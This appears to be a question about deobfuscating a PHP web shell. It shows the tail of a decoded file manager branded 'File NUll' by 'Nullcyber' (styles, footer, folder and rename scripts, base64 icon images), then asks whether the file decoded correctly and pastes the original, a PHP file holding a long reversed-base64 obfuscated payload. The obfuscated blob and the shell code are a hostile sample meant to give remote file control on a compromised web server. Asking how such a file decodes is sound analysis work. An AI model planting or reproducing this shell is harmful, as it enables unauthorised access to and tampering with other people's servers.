	overflow: hidden;
	padding: 0 25px 15px 25px;
	background: #fff;
	-moz-border-radius: 4px 4px 0 0; -webkit-border-radius: 4px 4px 0 0; border-radius: 4px 4px 0 0;
	text-align: left;
}

.form-top-left {
	float: left;
	width: 75%;
	padding-top: 25px;
}

.form-top-left h3 { margin-top: 0; }

.form-top-right {
	float: left;
	width: 25%;
	padding-top: 5px;
	font-size: 66px;
	color: #ddd;
	line-height: 100px;
	text-align: right;
}

.form-bottom {
	padding: 25px 25px 30px 25px;
	background: #eee;
	-moz-border-radius: 0 0 4px 4px; -webkit-border-radius: 0 0 4px 4px; border-radius: 0 0 4px 4px;
	text-align: left;
}

.form-bottom form textarea {
	height: 100px;
}

.form-bottom form button.btn {
	width: 100%;
}

.form-bottom form .input-error {
	border-color: #2c35d4;
}

.social-login {
	margin-top: 35px;
}

.social-login h3 {
	color: #fff;
}

.social-login-buttons {
	margin-top: 25px;
}


/***** Media queries *****/

@media (min-width: 992px) and (max-width: 1199px) {}

@media (min-width: 768px) and (max-width: 991px) {}

@media (max-width: 767px) {
	
	.inner-bg { padding: 60px 0 110px 0; }

}

@media (max-width: 415px) {
	
	h1, h2 { font-size: 32px; }

}

</style>
<meta charset="utf-8">
<title>File NUll</title>
<meta http-equiv=X-UA-Compatible content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=0.8, maximum-scale=0.8"/>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css" rel="stylesheet">
<style type="text/css">

<!---->

html,body,div,span,p,pre,a,code,em,img,small,strong,ol,ul,li,form,label,table,tr,th,td{margin:0;padding:0;vertical-align:baseline;outline:none;font-size:100%;background:transparent;border:none;text-decoration:none}
html{overflow-y:scroll}body{padding:0;font:13px/16px Tahoma,Arial,sans-serif;color:#222;background:#efefef}
a img{border:none}span.gray{color:#777}small{font-size:11px;color:#999}p{margin-bottom:10px}
ul{margin-left:2em;margin-bottom:10px}ul{list-style-type:none;margin-left:0}ul li{padding:3px 0}
table{border-collapse:collapse;border-spacing:0;margin-bottom:10px;width:100%}
th,td{padding:4px 7px;text-align:left;vertical-align:top;border:1px solid #ddd;background:#fff;white-space:wrap}
th,td.gray{background-color:#eee}td.gray span{color:#222}
tr:hover td{background-color:#f5f5f5}tr:hover td.gray{background-color:#eee}
code,pre{display:block;margin-bottom:10px;font:13px/16px Consolas,\'Courier New\',Courier,monospace;border:1px dashed #ccc;padding:5px;overflow:auto}
pre.with-hljs{padding:0}
pre.with-hljs code{margin:0;border:0;overflow:visible}
code.maxheight,pre.maxheight{max-height:512px}input[type="checkbox"]{margin:0;padding:0}
#wrapper{margin:10px auto}
.path{padding:4px 7px;border:10px solid #ddd;background-color:#fff;margin-bottom:10px}
.right{text-align:right}.center{text-align:center}.float-right{float:right}
.message{padding:4px 7px;border:1px solid #ddd;background-color:#fff}
.message.ok{border-color:green;color:green}
.message.error{border-color:red;color:red}
.message.alert{border-color:orange;color:orange}
.preview-img{max-width:100%;background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC") repeat 0 0}
.preview-video{position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px}.preview-video video{position:absolute;width:100%;height:100%;left:0;top:0;background:#000}
[class*="icon-"]{display:inline-block;width:16px;height:16px;background:url("<?php echo FM_SELF_URL ?>?img=sprites&amp;t=<?php echo $sprites_ver ?>") no-repeat 0 0;vertical-align:bottom}
.icon-document{background-position:-16px 0}.icon-folder{background-position:-32px 0}
.icon-folder_add{background-position:-48px 0}.icon-upload{background-position:-64px 0}
.icon-arrow_up{background-position:-80px 0}.icon-home{background-position:-96px 0}
.icon-separator{background-position:-112px 0}.icon-cross{background-position:-128px 0}
.icon-copy{background-position:-144px 0}.icon-apply{background-position:-160px 0}
.icon-cancel{background-position:-176px 0}.icon-rename{background-position:-192px 0}
.icon-checkbox{background-position:-208px 0}.icon-checkbox_invert{background-position:-224px 0}
.icon-checkbox_uncheck{background-position:-240px 0}.icon-download{background-position:-256px 0}
.icon-goback{background-position:-272px 0}.icon-folder_open{background-position:-288px 0}
.icon-file_application{background-position:0 -16px}.icon-file_code{background-position:-16px -16px}
.icon-file_csv{background-position:-32px -16px}.icon-file_excel{background-position:-48px -16px}
.icon-file_film{background-position:-64px -16px}.icon-file_flash{background-position:-80px -16px}
.icon-file_font{background-position:-96px -16px}.icon-file_html{background-position:-112px -16px}
.icon-file_illustrator{background-position:-128px -16px}.icon-file_image{background-position:-144px -16px}
.icon-file_music{background-position:-160px -16px}.icon-file_outlook{background-position:-176px -16px}
.icon-file_pdf{background-position:-192px -16px}.icon-file_photoshop{background-position:-208px -16px}
.icon-file_php{background-position:-224px -16px}.icon-file_playlist{background-position:-240px -16px}
.icon-file_powerpoint{background-position:-256px -16px}.icon-file_swf{background-position:-272px -16px}
.icon-file_terminal{background-position:-288px -16px}.icon-file_text{background-position:-304px -16px}
.icon-file_word{background-position:-320px -16px}.icon-file_zip{background-position:-336px -16px}
.icon-logout{background-position:-304px 0}.icon-chain{background-position:-320px 0}
.icon-link_folder{background-position:-352px -16px}.icon-link_file{background-position:-368px -16px}
.compact-table{border:0;width:auto}.compact-table td,.compact-table th{width:100px;border:0;text-align:center}.compact-table tr:hover td{background-color:#fff}
.filename{max-width:95px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
.break-word{word-wrap:break-word}

</style>
<link rel="icon" href="<?php echo FM_SELF_URL ?>?img=favicon" type="image/png">
<link rel="shortcut icon" href="<?php echo FM_SELF_URL ?>?img=favicon" type="image/png">
<?php if (isset($_GET[\'view\']) && FM_USE_HIGHLIGHTJS): ?>
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.2.0/styles/<?php echo FM_HIGHLIGHTJS_STYLE ?>.min.css">
<?php endif; ?>
</head>
<body>
<div id="wrapper">
<div class="container">
<?php
}

/**
 * 
 */
function fm_show_footer()
{
    ?>

<!-- menghapus -->

<p class="center"><small>Copyright &copy; 2023 <a href="https://github.com/Cnull00">Nullcyber</a>.<br>All rights reserved.</small></p>

<!-- menghapus -->

</div>
</div>
<script>
function newfolder(p){var n=prompt(\'Nama folder baru adalah\',\'folder baru\');if(n!==null&&n!==\'\'){window.location.search=\'p=\'+encodeURIComponent(p)+\'&new=\'+encodeURIComponent(n);}}
function rename(p,f){var n=prompt(\'Kemudian masukkan nama baru!\',f);if(n!==null&&n!==\'\'&&n!=f){window.location.search=\'p=\'+encodeURIComponent(p)+\'&ren=\'+encodeURIComponent(f)+\'&to=\'+encodeURIComponent(n);}}
function change_checkboxes(l,v){for(var i=l.length-1;i>=0;i--){l[i].checked=(typeof v===\'boolean\')?v:!l[i].checked;}}
function get_checkboxes(){var i=document.getElementsByName(\'file[]\'),a=[];for(var j=i.length-1;j>=0;j--){if(i[j].type=\'checkbox\'){a.push(i[j]);}}return a;}
function select_all(){var l=get_checkboxes();change_checkboxes(l,true);}
function unselect_all(){var l=get_checkboxes();change_checkboxes(l,false);}
function invert_all(){var l=get_checkboxes();change_checkboxes(l);}
function checkbox_toggle(){var l=get_checkboxes();l.push(this);change_checkboxes(l);}
</script>
<?php if (isset($_GET[\'view\']) && FM_USE_HIGHLIGHTJS): ?>
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.2.0/highlight.min.js"></script>
<script>hljs.initHighlightingOnLoad();</script>
<?php endif; ?>
</body>
</html>
<?php
}

/**
 * 
 * @param string $img
 */
function fm_show_image($img)
{
    $modified_time = gmdate(\'D, d M Y 00:00:00\') . \' GMT\';
    $expires_time = gmdate(\'D, d M Y 00:00:00\', strtotime(\'+1 day\')) . \' GMT\';

    $img = trim($img);
    $images = fm_get_images();
    $image = \'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAEElEQVR42mL4//8/A0CAAQAI/AL+26JNFgAAAABJRU5ErkJggg==\';
    if (isset($images[$img])) {
        $image = $images[$img];
    }
    $image = base64_decode($image);
    if (function_exists(\'mb_strlen\')) {
        $size = mb_strlen($image, \'8bit\');
    } else {
        $size = strlen($image);
    }

    if (function_exists(\'header_remove\')) {
        header_remove(\'Cache-Control\');
        header_remove(\'Pragma\');
    } else {
        header(\'Cache-Control:\');
        header(\'Pragma:\');
    }

    header(\'Last-Modified: \' . $modified_time, true, 200);
    header(\'Expires: \' . $expires_time);
    header(\'Content-Length: \' . $size);
    header(\'Content-Type: image/png\');
    echo $image;

    exit;
}

/**
 * base64 
 * @return array
 */
function fm_get_images()
{
    return array(
        \'favicon\' => \'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ
bWFnZVJlYWR5ccllPAAAAZVJREFUeNqkk79Lw0AUx1+uidTQim4Waxfpnl1BcHMR6uLkIF0cpYOI
f4KbOFcRwbGTc0HQSVQQXCqlFIXgFkhIyvWS870LaaPYH9CDy8vdfb+fey930aSUMEvT6VHVzw8x
rKUX3N3Hj/8M+cZ6GcOtBPl6KY5iAA7KJzfVWrfbhUKhALZtQ6myDf1+X5nsuzjLUmUOnpa+v5r1
Z4ZDDfsLiwER45xDEATgOI6KntfDd091GidzC8vZ4vH1QQ09+4MSMAMWRREKPMhmsyr6voYmrnb2
PKEizdEabUaeFCDKCCHAdV0wTVNFznMgpVqGlZ2cipzHGtKSZwCIZJgJwxB38KHT6Sjx21V75Jcn
LXmGAKTRpGVZUx2dAqQzSEqw9kqwuGqONTufPrw37D8lQFxCvjgPXIixANLEGfwuQacMOC4kZz+q
GdhJS550BjpRCdCbAJCMJRkMASEIg+4Bxz4JwAwDSEueAYDLIM+QrOk6GHiRxjXSkJY8KUCvdXZ6
kbuvNx+mOcbN9taGBlpLAWf9nX8EGADoCfqkKWV/cgAAAABJRU5ErkJggg==\',
        \'sprites\' => \'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
RK5CYII=\',
    );
}'

Did this file decode correctly?

Original Code

<?php
$enc = '==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